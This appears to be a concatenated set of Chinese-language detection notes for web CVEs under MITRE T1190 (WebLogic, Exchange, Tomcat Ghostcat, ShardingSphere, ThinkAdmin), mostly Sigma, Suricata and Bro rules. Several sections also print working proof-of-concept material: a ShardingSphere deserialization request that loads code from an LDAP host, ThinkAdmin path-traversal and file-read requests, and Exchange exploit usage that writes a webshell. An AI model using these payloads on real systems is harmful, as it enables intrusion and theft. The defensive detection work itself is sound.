HTTP.log
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: Oracle WebLogic Exploit CVE-2020-14882
status: 测试状态
description: 检测WebLogic服务器上的攻击企图
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
- https://www.cnblogs.com/2rsh0u/p/13911794.html
- https://www.cnblogs.com/potatsoSec/p/13895120.html
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '/console/images/%252E%252E%252Fconsole.portal'
- '/console/css/%2e'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: high
tags:
- attack.t1190
- attack.initial_access
- cve.2020-14882
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
CVE-2020-14882 weblogic 未授权命令执行复现
================================================
FILE: Web/2020/T1190-CVE-2020-16875-Exchange漏洞利用监测.md
================================================
# T1190-CVE-2020-16875-Exchange漏洞利用监测
## 来自ATTCK描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-16875
由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
**利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。** 因此在环境部署完成后需要新建一个用户“dahe”,同时也要为其开启DLP权限。
```
bash
New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "dahe"
Get-RoleGroup "dlp users" | Format-List
```
针对此漏洞的攻击将依次执行以下步骤:
- 在给定帐户下进行身份验证。
- 通过访问DLP策略管理功能获取参数。
- 添加新的恶意DLP策略,其中包含从PowerShell运行的可执行命令。
## 监测方法
使用IIS日志监测创建新DLP策略:
```
yml
title: Creating a new DLP policy using IIS log monitoring
description: windows server 2016
author: DHZN
logsource:
product: windows
service: IIS
detection:
selection:
http_method: POST
http_code: 200
url_path|contain: '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'
condition: selection
level: medium
```
想要利用该漏洞,必须创建一个新的策略,这个行为也会被记录在MSExchange管理日志中。在该事件的参数中包含恶意载荷:TemplateData。
使用Powershell日志/MSExchange管理日志监测创建新DLP策略:
```
yml
title: Creating a new DLP policy using powrshell log or MSExchange Management Log monitoring
description: windows server 2016
author: DHZN
logsource:
product: windows
service: powershellaudit、MSExchange Management
detection:
selection:
EventID:
- 800
- 1
- 4014
Message|contains|all:
- 'New-DlpPolicy'
- '-TemplateData'
- ----------------
condition: selection
level: medium
```
使用Windows安全日志监测是否成功利用了CVE-2020-16875
```
yml
title: Monitoring CVE-2020-16875 utilization behavior using Windows security logs
description: windows server 2016
author: DHZN
logsource:
product: windows
service: Security
detection:
selection:
EventID: 4688
proc_parent_file_path|endswith: 'w3wp.exe'
proc_file_path|contains|endswitch:
- 'cmd.exe'
- 'powershell.exe'
condition: selection
level: high
```
在上述监测规则中,也可以调整子进程名称,对攻击者常见的进程名称进行监测,如whoami.exe等。
## 参考链接
[Exchange漏洞分析系列 CVE-2020-16875](https://www.anquanke.com/post/id/219091)
[CVE-2020-16875漏洞分析与复现](https://lhl7.github.io/2022/03/26/CVE-2020-16875%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/)
================================================
FILE: Web/2020/T1190-CVE-2020-17144-Exchange漏洞利用检测.md
================================================
# T1190-CVE-2020-17144漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-17144
漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。
该漏洞和 CVE-2020-0688 类似,也需要登录后才能利用,不过在利用时无需明文密码,只要具备 NTHash 即可。除了常规邮件服务与 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。
### 影响版本
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31
### EXP用法
条件: Exchange2010; 普通用户
默认用法(写webshell): CVE-2020-17144-EXP.exe mail.example.com user pass
执行命令 & 端口复用: 修改ExploitClass.cs
## 测试案例
借用其他测试案例:
```
YML
C:\Users\k8gege>CVE-2020-17144.exe 192.168.1.89 administrator K8gege520
BinaryFormatter
[+] Target: https://192.168.1.89/ews/Exchange.asmx
[+] User: administrator K8gege520
[+] Shell in https://192.168.1.89/autodiscover/Services.aspx, Wait for few minutes
```
## 检测日志
IIS日志、Windows安全日志 4776凭据验证
## 测试复现
## 测试留痕
```
log
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 156
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 8
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 15
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 14
```
## 检测规则/思路
通过上述日志可以看到访问了"/ews/Exchange.asmx",但这并不能作为一个有效的监测特征,实际分析过程中需要结合上下文行为进行分析。结合网络上公开的EXP来看,攻击路径相对固定。但跳出利用POC中非默认路径。
```
yml
title: Analyzing Exchange Vulnerability Explosions Using IIS Log Monitoring for CVE-2020-17144
description: windows server 2012
author: DHZN
logsource:
product: windows
service: IIS
detection:
selection:
http_method: POST
url_path|contain: '/ews/Exchange.asmx'
condition: selection
level: low
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
〖EXP〗CVE-2020-17144 Exchange漏洞利用
POC1
POC2
================================================
FILE: Web/2020/T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md
================================================
# T1190-CVE-2020-1938漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-1938漏洞
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
## 测试案例
具体复测可以参考
- Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析:
## 检测日志
HTTP流量
## 测试复现
可参考上述测试案例
## 测试留痕
HTTP流量检测规则基于payload关键词进行检测
## 检测规则/思路
### Suricata检测规则
```
yml
# CNVD-2020-10487 CVE-2020-1938
alert tcp any any -> any 8009 (msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|request_uri"; content:"javax|2e|servlet|2e|include|2e|path_info"; content:"javax|2e|servlet|2e|include|2e|servlet_path"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;)
```
### Bro检测规则
```
yml
module EXPLOIT;
event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string)
{
if ( (c$id$resp_p == 8009/tcp) && /javax\.servlet\.include\.request_uri/ in payload && /javax\.servlet\.include\.path_info/ in payload && /javax\.servlet\.include\.servlet_path/ in payload)
{
local rec: EXPLOIT::Info = [$ts=c$start_time,
$src_ip=c$id$orig_h,
$src_port=c$id$orig_p,
$dst_ip=c$id$resp_h,
$dst_port=c$id$resp_p,
$vul_payload=payload,
$vul_describe="CVE-2020-1938 Ghostcat",
$vul_refer="https://www.anquanke.com/post/id/199351",
$vul_level="high"];
Log::write(EXPLOIT::LOG, rec);
}
```
检测规则转载自:****
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2020-1938检测规则
================================================
FILE: Web/2020/T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md
================================================
# T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache ShardingSphere是京东开源的分布式数据库中间件项目,于2018年11月进入Apache基金会孵化器,可提供数据分片(分库分表)、分布式事务、数据库治理三大功能。。
3月10日,Apache ShardingSphere官方库发布了新版本4.0.1,修复了远程代码执行漏洞(CVE-2020-1947)。攻击者在登录管理后台的前提下,通过提交恶意YAML代码,可实现远程代码执行。请相关用户尽快升级至最新版本,修复此漏洞。
影响范围:Apache ShardingSphere < 4.0.1
## 检测日志
HTTP
## 测试复现
登录后台后,发送如下poc
```
yml
POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的Poc
Content-Length: 579
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
```
## 测试留痕
```
yml
POST /api/schema HTTP/1.1
Host: 10.16.45.164:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 577
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Content-Type: application/json;charset=utf-8
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:
encryptor_aes:
type: aes
props:
aes.key.value: 123456abc
encryptor_md5:
type: md5
tables:
t_encrypt:
columns:
user_id:
plainColumn: user_plain
cipherColumn: user_cipher
encryptor: encryptor_aes
order_id:
cipherColumn: order_cipher
encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://127.0.0.1:1389/ExportObject
autoCommit: true"
}
HTTP/1.1 200 OK
Date: Sun, 06 Jun 2021 17:09:47 GMT
Content-Length: 11
Content-Type: text/plain; charset=utf-8
aesresponse
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-1947";flow:established,to_server;content:"POST";http_method;content:"/api/schema";http_uri;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞";flow:established,to_client;content:"200";http_stat_code;content:"aesresponse";http_server_body;flowbits:isset,first_req;reference:url,www.cnblogs.com/potatsoSec/p/12461330.html;classtype:web-application-attck;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2020-1947 Sharding-UI的反序列化复现及分析
================================================
FILE: Web/2020/T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md
================================================
# T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。
影响范围:ThinkAdmin版本小于 ≤ 2020.08.03.01
## 检测日志
HTTP
## 测试复现
Burp抓包,修改参数
```
yml
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
- ----------------------------------------------
rules=%5b%22%2e%5c%2f%22%5d
```
## 测试留痕
### 目录遍历
```
yml
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
```
### 文件读取
```
s
GET /admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38 HTTP/1.1
Host: 192.168.100.194:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52
Connection: close
HTTP/1.1 200 OK
Host: 192.168.100.194:8000
Date: Wed, 09 Dec 2020 10:53:17 +0800
Connection: close
X-Powered-By: PHP/7.2.1
Content-Type:application/json; charset=utf-8
Set-Cookie: think_lang=zh-cn; path=/
Set-Cookie: PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52; path=/
...{"code":1,"info":".....................","data":{"content":"dGVzdHRlc3R0ZXN0"}}
```
## 检测规则/思路
### Suricata规则
#### 目录遍历检测规则
```
s
